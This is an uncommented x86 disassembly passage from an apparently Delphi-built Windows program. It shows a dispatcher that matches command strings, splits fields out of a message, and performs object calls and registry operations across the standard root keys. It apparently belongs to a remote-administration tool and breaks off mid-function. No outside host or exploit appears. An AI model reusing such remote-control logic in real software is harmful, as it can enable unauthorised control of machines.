mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc2c]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc30]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc30]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc38]
push eax
lea ecx, [ebp - 0xc3c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc3c]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc38]
lea edx, [ebp - 0xc34]
call fcn.0058ff30
mov eax, dword [ebp - 0xc34]
call fcn.005936d4
test al, al
je 0x599611
lea eax, [ebp - 0xc44]
push eax
lea ecx, [ebp - 0xc48]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc48]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc44]
lea edx, [ebp - 0xc40]
call fcn.0058ff30
mov eax, dword [ebp - 0xc40]
call fcn.005936d4
test al, al
je 0x5995e7
lea edx, [ebp - 0xc4c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc4c]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599611
lea edx, [ebp - 0xc50]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc50]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc54]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc54]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc5c]
push eax
lea ecx, [ebp - 0xc60]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc60]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc5c]
lea edx, [ebp - 0xc58]
call fcn.0058ff30
mov eax, dword [ebp - 0xc58]
call fcn.005936d4
test al, al
je 0x5998d9
call fcn.00581e4c
lea eax, [ebp - 0x454]
call fcn.00582888
lea eax, [ebp - 0xc68]
push eax
lea ecx, [ebp - 0xc6c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc6c]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc68]
lea edx, [ebp - 0xc64]
call fcn.0058ff30
mov eax, dword [ebp - 0xc64]
call fcn.005936d4
test al, al
je 0x599797
lea eax, [ebp - 0xc74]
push eax
lea ecx, [ebp - 0xc78]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc78]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc74]
lea edx, [ebp - 0xc70]
call fcn.0058ff30
mov eax, dword [ebp - 0xc70]
call fcn.005936d4
test al, al
je 0x59976d
lea edx, [ebp - 0xc7c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc7c]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599797
lea edx, [ebp - 0xc80]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc80]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc84]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc84]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc8c]
push eax
lea ecx, [ebp - 0xc90]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc90]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc8c]
lea edx, [ebp - 0xc88]
call fcn.0058ff30
mov eax, dword [ebp - 0xc88]
call fcn.005936d4
test al, al
je 0x5998b7
lea eax, [ebp - 0xc98]
push eax
lea ecx, [ebp - 0xc9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc9c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc98]
lea edx, [ebp - 0xc94]
call fcn.0058ff30
mov eax, dword [ebp - 0xc94]
call fcn.005936d4
test al, al
je 0x59988d
lea edx, [ebp - 0xca0]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca0]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x5998b7
lea edx, [ebp - 0xca4]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca4]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xca8]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca8]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xcb0]
push eax
lea ecx, [ebp - 0xcb4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcb4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xcb0]
lea edx, [ebp - 0xcac]
call fcn.0058ff30
mov eax, dword [ebp - 0xcac]
call fcn.005936d4
test al, al
je 0x599b7f
call fcn.00581e4c
lea eax, [ebp - 0x454]
call fcn.00582a80
lea eax, [ebp - 0xcbc]
push eax
lea ecx, [ebp - 0xcc0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcc0]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xcbc]
lea edx, [ebp - 0xcb8]
call fcn.0058ff30
mov eax, dword [ebp - 0xcb8]
call fcn.005936d4
test al, al
je 0x599a3d
lea eax, [ebp - 0xcc8]
push eax
lea ecx, [ebp - 0xccc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xccc]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xcc8]
lea edx, [ebp - 0xcc4]
call fcn.0058ff30
mov eax, dword [ebp - 0xcc4]
call fcn.005936d4
test al, al
je 0x599a13
lea edx, [ebp - 0xcd0]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcd0]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599a3d
lea edx, [ebp - 0xcd4]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcd4]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xcd8]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcd8]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xce0]
push eax
lea ecx, [ebp - 0xce4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xce4]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xce0]
lea edx, [ebp - 0xcdc]
call fcn.0058ff30
mov eax, dword [ebp - 0xcdc]
call fcn.005936d4
test al, al
je 0x599b5d
lea eax, [ebp - 0xcec]
push eax
lea ecx, [ebp - 0xcf0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcf0]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xcec]
lea edx, [ebp - 0xce8]
call fcn.0058ff30
mov eax, dword [ebp - 0xce8]
call fcn.005936d4
test al, al
je 0x599b33
lea edx, [ebp - 0xcf4]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcf4]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599b5d
lea edx, [ebp - 0xcf8]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcf8]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xcfc]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcfc]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0xd08]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd08]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd04]
lea edx, [ebp - 0xd00]
call fcn.0058ff30
mov eax, dword [ebp - 0xd00]
call fcn.005936d4
test al, al
je 0x59a08c
call fcn.00581e4c
lea edx, [ebp - 0xd0c]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xd0c]
lea ecx, [ebp - 0x454]
mov dl, 2
call fcn.00582ccc
lea eax, [ebp - 0xd14]
push eax
lea ecx, [ebp - 0xd18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd18]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd14]
lea edx, [ebp - 0xd10]
call fcn.0058ff30
mov eax, dword [ebp - 0xd10]
call fcn.005936d4
test al, al
je 0x599cfc
lea eax, [ebp - 0xd20]
push eax
lea ecx, [ebp - 0xd24]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd24]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd20]
lea edx, [ebp - 0xd1c]
call fcn.0058ff30
mov eax, dword [ebp - 0xd1c]
call fcn.005936d4
test al, al
je 0x599cd2
lea edx, [ebp - 0xd28]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd28]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599cfc
lea edx, [ebp - 0xd2c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd2c]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xd30]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd30]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xd38]
push eax
lea ecx, [ebp - 0xd3c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd3c]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd38]
lea edx, [ebp - 0xd34]
call fcn.0058ff30
mov eax, dword [ebp - 0xd34]
call fcn.005936d4
test al, al
je 0x599e1c
lea eax, [ebp - 0xd44]
push eax
lea ecx, [ebp - 0xd48]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd48]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd44]
lea edx, [ebp - 0xd40]
call fcn.0058ff30
mov eax, dword [ebp - 0xd40]
call fcn.005936d4
test al, al
je 0x599df2
lea edx, [ebp - 0xd4c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd4c]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599e1c
lea edx, [ebp - 0xd50]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd50]
mov cl, 1
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xd54]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd54]
mov edx, dword [eax]
call dword [edx + 0x104]
jmp 0x59a08c
lea eax, [ebp - 0xd5c]
push eax
lea ecx, [ebp - 0xd60]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd60]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd5c]
lea edx, [ebp - 0xd58]
call fcn.0058ff30
mov eax, dword [ebp - 0xd58]
call fcn.005936d4
test al, al
je 0x599fae
lea edx, [ebp - 0xd64]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd64]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd68]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd68]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd6c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd6c]
mov edx, dword [eax]
call dword [edx + 0xf4]
lea edx, [ebp - 0xd70]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd70]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd74]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd74]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd78]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd78]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd7c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd7c]
mov edx, dword [eax]
call dword [edx + 0xf0]
lea edx, [ebp - 0xd80]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd80]
mov edx, dword [eax]
call dword [edx + 0x104]
jmp 0x59a08c
lea eax, [ebp - 0xd88]
push eax
lea ecx, [ebp - 0xd8c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd8c]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xd88]
lea edx, [ebp - 0xd84]
call fcn.0058ff30
mov eax, dword [ebp - 0xd84]
call fcn.005936d4
test al, al
je 0x59a08c
lea edx, [ebp - 0xd90]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd90]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd94]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd94]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd98]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd98]
mov edx, dword [eax]
call dword [edx + 0xf4]
lea edx, [ebp - 0xd9c]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd9c]
mov edx, dword [eax]
call dword [edx + 0x104]
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae788
call fcn.00405ec0
jne 0x59a223
xor eax, eax
push ebp
push 0x59a21c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0xda0]
push eax
lea ecx, [ebp - 0xda4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xda4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xda0]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59a19a
push 0
lea eax, [ebp - 0xdac]
push eax
lea eax, [ebp - 0xdb0]
push eax
lea ecx, [ebp - 0xdb4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdb4]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xdb0]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0xdac]
lea edx, [ebp - 0xda8]
call fcn.005939c8
mov edx, dword [ebp - 0xda8]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0x5ae75c
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
mov eax, dword [ebp - 0x3d0]
call fcn.0058e5a4
lea edx, [ebp - 0xdbc]
mov eax, dword [ebp - 0x424]
call fcn.0058ff30
mov eax, dword [ebp - 0xdbc]
push eax
lea edx, [ebp - 0xdc0]
mov eax, dword [ebp - 0x420]
call fcn.0058ff30
mov eax, dword [ebp - 0xdc0]
lea ecx, [ebp - 0xdb8]
pop edx
call fcn.005894f8
mov eax, dword [ebp - 0xdb8]
mov edx, dword [eax]
call dword [edx + 0xd0]
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae7a0
call fcn.00405ec0
jne 0x59a36a
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xdc4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdc4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x59a2b6
lea edx, [ebp - 0xdc8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0xdc8]
push eax
lea eax, [ebp - 0xdcc]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xdcc]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0xdd4]
push eax
lea ecx, [ebp - 0xdd8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdd8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xdd4]
lea edx, [ebp - 0xdd0]
call fcn.005939c8
mov eax, dword [ebp - 0xdd0]
call fcn.0058e374
test al, al
je 0x59a339
lea eax, [ebp - 0xddc]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xddc]
mov edx, 0x5ae048
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5ad501
lea eax, [ebp - 0xde0]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xde0]
mov edx, 0x5adf0c
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae7c8
call fcn.00405ec0
jne 0x59a592
lea eax, [ebp - 0xde8]
push eax
lea ecx, [ebp - 0xdec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdec]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xde8]
lea edx, [ebp - 0xde4]
call fcn.005939c8
mov eax, dword [ebp - 0xde4]
push eax
lea eax, [ebp - 0xdf4]
push eax
lea ecx, [ebp - 0xdf8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdf8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xdf4]
lea edx, [ebp - 0xdf0]
call fcn.005939c8
mov eax, dword [ebp - 0xdf0]
pop edx
call fcn.0058e4f8
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x564]
cmp eax, 7
ja case.0x59a42e.0
jmp dword [eax*4 + 0x59a435]
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae7e0
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae7fc
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae814
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae824
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae834
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae848
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae85c
call fcn.00405b30
jmp 0x59a4e3
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae86c
call fcn.00405b30
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xdfc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdfc]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x59a560
lea edx, [ebp - 0xe00]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0xe00]
push eax
lea eax, [ebp - 0xe04]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xe04]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0xe08]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xe08]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae884
call fcn.00405ec0
jne 0x59a8ab
xor eax, eax
push ebp
push 0x59a8a4
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
xor eax, eax
push ebp
push 0x59a87c
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xe0c]
push eax
lea ecx, [ebp - 0xe10]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe10]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe0c]
call fcn.0040b328
cmp eax, 4
ja case.default.0x59a61d
jmp dword [eax*4 + 0x59a624]
mov edx, 0x80000000
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp case.default.0x59a61d
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp case.default.0x59a61d
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp case.default.0x59a61d
mov edx, 0x80000003
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp case.default.0x59a61d
mov edx, 0x80000005
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [0x5d5b0c]
mov eax, dword [eax]
or eax, 0x2001f
mov edx, dword [ebp - 0x554]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0xe14]
push eax
lea ecx, [ebp - 0xe18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe18]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe14]
call fcn.005936d4
test al, al
je 0x59a7b9
call fcn.0058e318
test al, al
je 0x59a760
mov eax, dword [0x5dcca4]
mov edx, 0x5ade30
call fcn.00405ec0
je 0x59a760
lea eax, [ebp - 0xe20]
push eax
lea ecx, [ebp - 0xe24]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe24]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe20]
lea edx, [ebp - 0xe1c]
call fcn.0058ff30
mov edx, dword [ebp - 0xe1c]
mov eax, dword [ebp - 0x554]
mov eax, dword [eax + 8]
call fcn.00592344
jmp 0x59a872
lea eax, [ebp - 0xe2c]
push eax
lea ecx, [ebp - 0xe30]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe30]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe2c]
lea edx, [ebp - 0xe28]
call fcn.0058ff30
mov edx, dword [ebp - 0xe28]
mov eax, dword [ebp - 0x554]
call fcn.00430d20
jmp 0x59a872
lea eax, [ebp - 0xe38]
push eax
lea ecx, [ebp - 0xe3c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe3c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xe38]
lea edx, [ebp - 0xe34]
call fcn.0058ff30
mov edx, dword [ebp - 0xe34]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x59a872
lea eax, [ebp - 0xe44]
push eax
lea ecx, [ebp - 0xe48]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe48]
mov ecx, 3
mov eax, dword [ebp + 0x10]
